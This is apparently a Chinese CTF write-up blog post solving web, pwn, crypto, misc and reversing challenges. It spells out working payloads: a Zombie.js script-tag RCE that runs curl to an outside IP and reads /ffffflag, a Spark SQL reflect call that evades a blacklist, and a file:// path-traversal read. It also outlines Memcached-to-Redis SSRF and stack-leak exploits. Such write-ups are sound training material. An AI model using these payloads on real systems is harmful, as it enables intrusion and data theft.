loopQR
考点:信道隐写
开局用stegsolve先看看信道,可以发现二维码
每一个图片都对应一个二维码,让gpt写一个提取脚本,批量识别二维码,然后获取最后的数据。
1 | #根据github上仿的 |
得到的结果如下
1 | - - He disappeared in |
首字母拼贴一下就是flag了flag{c7479d67e182d331148ca6b667d11d0d}
easyeval
考点:parse_url绕过
签到题了。
首先?ysy=file://localhost/../../../../../var/www/html/dasdjf.php
读出文件内容,发现就是个普通的rce
得出flag
startschool
考点:Zoomib Nodejs RCE
就一个xss 2 rce。
源码如下
1 | const express = require('express'); |
bot.js
1 | const zombie = require("zombie") |
这里很显然是zombie库的rce漏洞<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('curl http://114.116.119.253:7777').toString())")());</script>
payload如上,由于老子的vps在装死,所以我只能以回显的形式去命令执行<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('ls / > data.html').toString())")());</script>
然后<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('cat /ffffflag > data.html').toString())")());</script>
Bad Memcached
考点:PHP Memcached的CRLF注入
源码如下
1 |
|
pop链是比较清晰的,invoke然后到set方法去设置memcache的键值对,我们需要让键值对flag=flag
注入进去。还有个hint.txt,内容如下
1 | redis password:boogipop_is_a_webdog |
告诉了我们redis的密码,也就是需要我们通过ssrf去打有密码的redis最后写shell了。
最终exp如下
1 | from urllib.parse import quote |
记得二次编码打入
easyspark
考点:spark sql 命令执行
首先找到一篇文章
https://blog.stratumsecurity.com/2022/10/24/abusing-apache-spark-sql-to-get-code-execution/
里面给出了sparksql的命令执行方法
1 | -- Read Kubernetes API token file |
这里有个问题,题目是不出网的,所以我们需要执行命令,然后读取执行的结果。然后还有个问题就是题目给的spark修复了一下上述的payload,testCommandAvailable
在黑名单里,但是我们直接用concat就可以完成绕过了。SELECT reflect('org.apache.spark.TestUtils', concat('test','CommandAvailable'), 'ls / > /tmp/res')
然后还需要一个读取文件的函数,这里我找到的是org.apache.spark.util.Utils.getPropertiesFromFile
方法
可以看到有个readflag,运行他获取flag即可
一个小秘密
考点:AES Base32 解密
misc的签到
开局给了个keyMFZWIYLEMFSA====
base32解密后是asdadad
之后就拿这个密码去解密压缩包
得到了一个xml格式的文件,document.xml有一段aes加密后的密文
1 | U2FsdGVkX1/nVMt/cXalqwb8VpS2mDk9UkTaHRPPq5TAtH8XxYVAwxtoDKe/yTN4 |
AES解密后得到ZmxhZ3tjMmEyMzk4YzdmMjlhNTE5MzI3YWUxMzk2YWM2Nzg1NX0=
然后baes64解密
APACHE-CGI-PWN
考点:apache cgi 栈溢出
fan编译过后看到了个cookie
然后就是栈溢出,有点像webpwn
next-prime
源码如下
1 | from Crypto.Util.number import * |
思路
已知n的高位,p,q相近,因n已知高位较多,故采用爆破的方法,得到p,q
左移520位后对n开根,二分查找p,q即可
1 | from Crypto.Util.number import * |
flag{90b344ca-867d-002e-915c-4a897faf0bbe}
ez_ssp
程序事先将flag文件内容读取到栈上
之后进入for循环,循环三次,使用fork新建子进程,然后使用输入的随机数和name生成的新的随机数对flag进行加密,并且存在gets函数可以溢出
我们可以使用got表信息,覆盖___stack_chk_fail函数打印错误信息的参数,关键在于获取这一指针的偏移,打印错误信息的指针位于argv[0],使用gdb调试可以得到具体偏移数值
之后就是三次泄露地址
获取libc地址
1 | libc_main_got = elf.got['__libc_start_main'] |
使用_environ指针获取栈地址
1 | environ_addr = libc_base + libc.symbols['_environ'] |
泄露加密后的flag
1 | og.info("flag_addr=>{}".format(hex(flag_addr))) |
完整exp
1 | from pwn import * |
神秘端口
开局先用tshark流量分析一下
分析一下流量,写一段脚本
1 | f1=open("res.txt","r") |
得到如上数据
gpt写个脚本
1 | # 定义键盘键码到字符的映射 |
得到了密码!@#qwer123_DASCTF_okok
流量包里端口均为10001、2、3,对应了信息中的四进制
再让gpt写个
1 | import scapy.all as s |
easy_xors
re签到题,对称加密。
1 | var1 = [0xCE, 0x15, 0x0E, 0xEB, 0x8F, 0x98, 0x87, 0xC6, 0x23, 0xBE, 0x18, 0xE1, 0x42, 0xC6, 0xC6, 0x93, 0xB2, 0x9C, 0x6E, 0x81, 0x60, 0xA1, 0x0E, 0x59, 0xC7, 0xBD, 0xF0, 0x3B, 0x86, 0x84, 0x8D, 0xB3, 0xFD, 0xCD, 0x56, 0xEF, 0xD8, 0xCE, 0x6A, 0xFA, 0xF8, 0x56, 0xDB, 0xC7, 0x97, 0x2B] |
flag{23a2s1bs2-b2e312-6847-9ab3-a2s3e14baeff2}
Robbie gave up
nSpy 分析后,参照 Robbie.Win() 方法写一个 C# 脚本,运行得到 flag。
1 | using System; |
flag{33419b8662e9df2ea7a787c64f946ecc}
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.